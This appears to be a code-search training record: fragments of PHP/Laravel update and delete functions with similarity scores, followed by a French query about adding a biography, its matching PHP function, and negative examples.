$truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n }", "public function update($id);", "public function update($id);", "private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }", "public function put($path, $data = null);", "public function update(Request $request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }", "public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }", "public function update(Entity $entity);", "public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }", "public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}", "public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }", "public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }", "public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }", "public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }" ]
[ "0.7425105", "0.70612276", "0.70558053", "0.6896673", "0.6582159", "0.64491373", "0.6346954", "0.62114537", "0.6145042", "0.6119944", "0.61128503", "0.6099993", "0.6087866", "0.6052593", "0.6018941", "0.60060275", "0.59715486", "0.5946516", "0.59400934", "0.59377414", "0.5890722", "0.5860816", "0.5855127", "0.5855127", "0.58513457", "0.5815068", "0.5806887", "0.57525045", "0.57525045", "0.57337505", "0.5723295", "0.5714311", "0.5694472", "0.5691319", "0.56879413", "0.5669989", "0.56565005", "0.56505877", "0.5646085", "0.5636683", "0.5633498", "0.5633378", "0.5632906", "0.5628826", "0.56196684", "0.5609126", "0.5601397", "0.55944353", "0.5582592", "0.5581908", "0.55813426", "0.5575312", "0.55717176", "0.55661047", "0.55624634", "0.55614686", "0.55608666", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55573726", "0.5556878", "0.5554201", "0.5553069", "0.55530256", "0.5543788", "0.55435944", "0.55412996", "0.55393505", "0.55368495", "0.5535236", "0.5534954", "0.55237365", "0.5520468", "0.55163723", "0.55125296", "0.5511168", "0.5508345", "0.55072427", "0.5502385", "0.5502337", "0.5501029", "0.54995877", "0.54979175", "0.54949397", "0.54949397", "0.54946727", "0.5494196", "0.54941916", "0.54925025", "0.5491807", "0.5483321", "0.5479606", "0.5479408", "0.5478678", "0.54667485", "0.5463411", "0.5460588", "0.5458525" ]
0.0
-1
Remove the specified resource from storage.
public function destroy($id) { $cat = Category::where('root', $id)->get(); if (!count($cat)) { $category = Category::find($id); $category->delete(); setMessage('success', 'Yeh! A Category Has Been Successfully Deleted'); } else { setMessage('danger', 'First You Have To Delete Sub-Category'); } return redirect()->back(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }", "public function destroy(Resource $resource)\n {\n //\n }", "public function removeResource($resourceID)\n\t\t{\n\t\t}", "public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }", "public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }", "public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }", "public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }", "protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }", "public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }", "public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }", "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function delete(): void\n {\n unlink($this->getPath());\n }", "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "public function remove($path);", "function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}", "public function delete(): void\n {\n unlink($this->path);\n }", "private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }", "public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function remove() {}", "public function remove() {}", "public function remove();", "public function remove();", "public function remove();", "public function remove();", "function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}", "public function deleteImage(){\n\n\n Storage::delete($this->image);\n }", "public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }", "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }", "public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }", "public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}", "public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }", "public function deleteImage(){\n \tStorage::delete($this->image);\n }", "public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }", "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }", "public function destroy($id)\n {\n Myfile::find($id)->delete();\n }", "public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }", "public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }", "public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }", "public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }", "public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }", "public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }", "public function delete($path);", "public function delete($path);", "public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }", "public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }", "public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }", "public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }", "public function delete($path, $data = null);", "public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }", "public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }", "public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }", "public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }", "public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }", "public function del($path){\n\t\treturn $this->remove($path);\n\t}", "public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }", "public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }", "public function revoke($resource, $permission = null);", "public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }", "function delete($path);", "public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}", "public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }", "public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }", "public function remove($filePath){\n return Storage::delete($filePath);\n }", "public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }", "public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }", "public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }", "public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }", "function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }", "public function remove($id);", "public function remove($id);", "public function deleted(Storage $storage)\n {\n //\n }", "public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }", "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }", "public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }", "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}", "public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }", "public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}", "public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }", "public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }" ]
[ "0.6672584", "0.6659381", "0.6635911", "0.6632799", "0.6626075", "0.65424126", "0.65416265", "0.64648265", "0.62882507", "0.6175931", "0.6129922", "0.60893893", "0.6054415", "0.60428125", "0.60064924", "0.59337646", "0.5930772", "0.59199584", "0.5919811", "0.5904504", "0.5897263", "0.58962846", "0.58951396", "0.58951396", "0.58951396", "0.58951396", "0.5880124", "0.58690923", "0.5863659", "0.5809161", "0.57735413", "0.5760811", "0.5753559", "0.57492644", "0.5741712", "0.57334286", "0.5726379", "0.57144034", "0.57096", "0.5707689", "0.5705895", "0.5705634", "0.5703902", "0.5696585", "0.5684331", "0.5684331", "0.56780374", "0.5677111", "0.5657287", "0.5648262", "0.5648085", "0.5648012", "0.5640759", "0.5637738", "0.5629985", "0.5619264", "0.56167465", "0.5606877", "0.56021434", "0.5601949", "0.55992156", "0.5598557", "0.55897516", "0.5581397", "0.5566926", "0.5566796", "0.55642897", "0.55641", "0.5556583", "0.5556536", "0.5550097", "0.5543172", "0.55422723", "0.5540013", "0.5540013", "0.55371785", "0.55365825", "0.55300397", "0.552969", "0.55275744", "0.55272335", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.5525997", "0.5525624", "0.5523911", "0.5521122", "0.5517412" ]
0.0
-1
Fonction qui ajoute une biographie
function addBio($bio, $db) { $query = $db->prepare("INSERT INTO Bio (Titre, Description) VALUES (?)"); $query->execute([$bio["Titre"], $bio["Description"]]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function setBio($newBio){\n $this->bio = $newBio;\n }", "public function biography();", "public function add_information() \r\n {}", "public function add_information() \r\n {}", "function bio () {\n if (empty($this->bio_bio)) {\n if ( $this->page[\"Bio\"] == \"\" ) $this->openpage (\"Bio\",\"person\");\n if ( $this->page[\"Bio\"] == \"cannot open page\" ) return array(); // no such page\n if (@preg_match_all('|<h5>Mini Biography</h5>\\s*(.+)\\s+.+\\s+(.+)|',$this->page[\"Bio\"],$matches)) {\n for ($i=0;$i<count($matches[0]);++$i) {\n $bio_bio[\"desc\"] = str_replace(\"href=\\\"/name/nm\",\"href=\\\"http://\".$this->imdbsite.\"/name/nm\",\n str_replace(\"href=\\\"/title/tt\",\"href=\\\"http://\".$this->imdbsite.\"/title/tt\",\n str_replace('/SearchBios','http://'.$this->imdbsite.'/SearchBios',$matches[1][$i])));\n $author = 'Written by '.(str_replace('/SearchBios','http://'.$this->imdbsite.'/SearchBios',$matches[2][$i]));\n if (@preg_match(\"/href\\=\\\"(.*?)\\\">(.*?)<\\/a>/\",$author,$match)) {\n $bio_bio[\"author\"][\"url\"] = $match[1][$i];\n $bio_bio[\"author\"][\"name\"] = $match[2][$i];\n }\n $this->bio_bio[] = $bio_bio;\n unset($bio_bio,$author);\n }\n }\n }\n return $this->bio_bio;\n }", "public function biographies() {\n\t\treturn $this->hasMany('App\\Biography');\n\t}", "function setIdHistorialCambio($idHistorialCambio) {\r\n $this->idHistorialCambio = $idHistorialCambio;\r\n }", "public static function onImopenlineCreate(\\Bitrix\\Main\\Event $event)\n\t{\n\t\t$parameters = $event->getParameters();\n\n\t\tself::addInfoConnectors($parameters['line']);\n\t}", "public function __construct($bio) {\n\t\tparent::__construct($this->shortenIfTooLong($bio));\n\t}", "public function setBiometricDefaults(){\r\n \t\r\n \tif($this->data['biometric_data']['height']==\"0\"){ \t\t\r\n \t\t$this->data['biometric_data']['height']=(intval($this->demographics['height_ft'])*12)+$this->demographics['height_in']; \t\t\r\n \t} \t\r\n \t\r\n \t//get last weight entered\r\n \tif($this->data['biometric_data']['weight']==\"0\"){\r\n \t\trequire_once(ROOT_DIR.\"classes/model/UserTrackWeightModel.php\");\r\n \t\t$w=new UserTrackWeightModel($this->id); \r\n \t\t$weight=$w->getLastEntry();\r\n \t\t$this->data['biometric_data']['weight']=($weight)?$weight['weight']:0;\r\n \t}\r\n \t\r\n \t\t//get last bp entered\r\n \tif($this->data['biometric_data']['bp_systolic']==\"0\"){\r\n \t\trequire_once(ROOT_DIR.\"classes/model/UserTrackBPModel.php\");\r\n \t\t$bp= new UserTrackBPModel($this->id);\r\n \t\t$data=$bp->getLastEntry(); \t\t\r\n \t\t$this->data['biometric_data']['bp_systolic']=($data)?$data['systolic']:0;\r\n \t\t$this->data['biometric_data']['bp_diastolic']=($data)?$data['diastolic']:0; \t\t\t \t\t\r\n \t}\r\n \t\r\n \t//calculate current BMI\r\n \tif($this->data['biometric_data']['bmi']==0){ \t\t\r\n \t\tif($this->data['biometric_data']['height']!=0){ \t\t\t\r\n \t \t\t$this->data['biometric_data']['bmi']=round($this->data['biometric_data']['weight']/pow($this->data['biometric_data']['height'],2)*703,2); \t\t\t\r\n \t\t}\r\n \t\trequire_once(ROOT_DIR.\"classes/model/UserTrackMeasurementsModel.php\");\r\n\t\t\t\t$mm = new UserTrackMeasurementsModel($this->id);\r\n\t\t\t\t$data = $mm->getLastEntry();\r\n \t\t$this->data['biometric_data']['waist'] = ($data['waist']) ? $data['waist'] : 0;\r\n \t}\r\n \t\r\n \t//get Last Entered Blood Glucose\r\n \tif($this->data['biometric_data']['blood_glucose']==0){\r\n \t\trequire_once(ROOT_DIR.\"classes/model/UserTrackBloodGlucoseModel.php\");\r\n \t\t$bg= new UserTrackBloodGlucoseModel($this->id);\r\n \t\t$data=$bg->getLastEntry();\r\n \t\tif ($data['random']['date_entered'] > $data['fasting']['date_entered']) {\r\n\t \t\t$this->data['biometric_data']['blood_glucose']=$data['random']['blood_glucose'];\r\n\t \t\t$this->data['glucose_test'] = 'random';\r\n\t \t}\r\n\t \telse {\r\n\t \t\t$this->data['biometric_data']['blood_glucose'] = $data['fasting']['blood_glucose'];\r\n\t \t\t$this->data['glucose_test'] = 'fasting';\r\n\t \t}\r\n\t\t\t\tif (!isset($this->data['biometric_data']['hemoglobin']))\r\n\t \t\t$this->data['biometric_data']['hemoglobin'] = 0;\r\n\t\t\t\tif (!isset($this->data['biometric_data']['cotinine']))\r\n\t \t\t$this->data['biometric_data']['cotinine'] = 0;\r\n \t}\r\n \t\r\n //get Last Entered Cholesterol\r\n \tif($this->data['biometric_data']['cholesterol']==0){\r\n \t\trequire_once(ROOT_DIR.\"classes/model/UserTrackCholesterolModel.php\");\r\n \t\t$c= new UserTrackCholesterolModel($this->id);\r\n \t\t$data=$c->getLastEntry(); \t\t\r\n \t\t$this->data['biometric_data']['cholesterol']=($data)?$data['total']:0;\r\n \t\t$this->data['biometric_data']['triglycerides']=($data)?$data['triglycerides']:0;\r\n \t\t$this->data['biometric_data']['hdl']=($data)?$data['hdl']:0;\r\n \t\t$this->data['biometric_data']['ldl']=($data)?$data['ldl']:0;\r\n \t}\r\n \t\t\r\n\t}", "public function add_info($info)\r\n { \r\n }", "function addArtist($informations)\n {\n\n $db = dbConnect();\n\n //Après traitement et upload, j'ai mon nom de fichier\n $query = $db->prepare('INSERT INTO artists (name, biography, label_id) VALUES(:name, :biography, :label_id)');\n $result = $query->execute([\n 'name' => $informations['name'],\n 'biography' => $informations['description'],\n 'label_id' => $informations['label_id']\n ]);\n\n $artistId = $db->lastInsertId(); //retourne l'id de la dernière ligne insérée\n\n insertArtistImage($artistId, $result); //Insertion de l'image\n\n return $result;\n }", "public function show(Biologica $biologica)\n {\n //\n }", "function save(){\n\t\tif (isset($this->id) && !$this->_new) {\n\t\t\t$sql = \"UPDATE 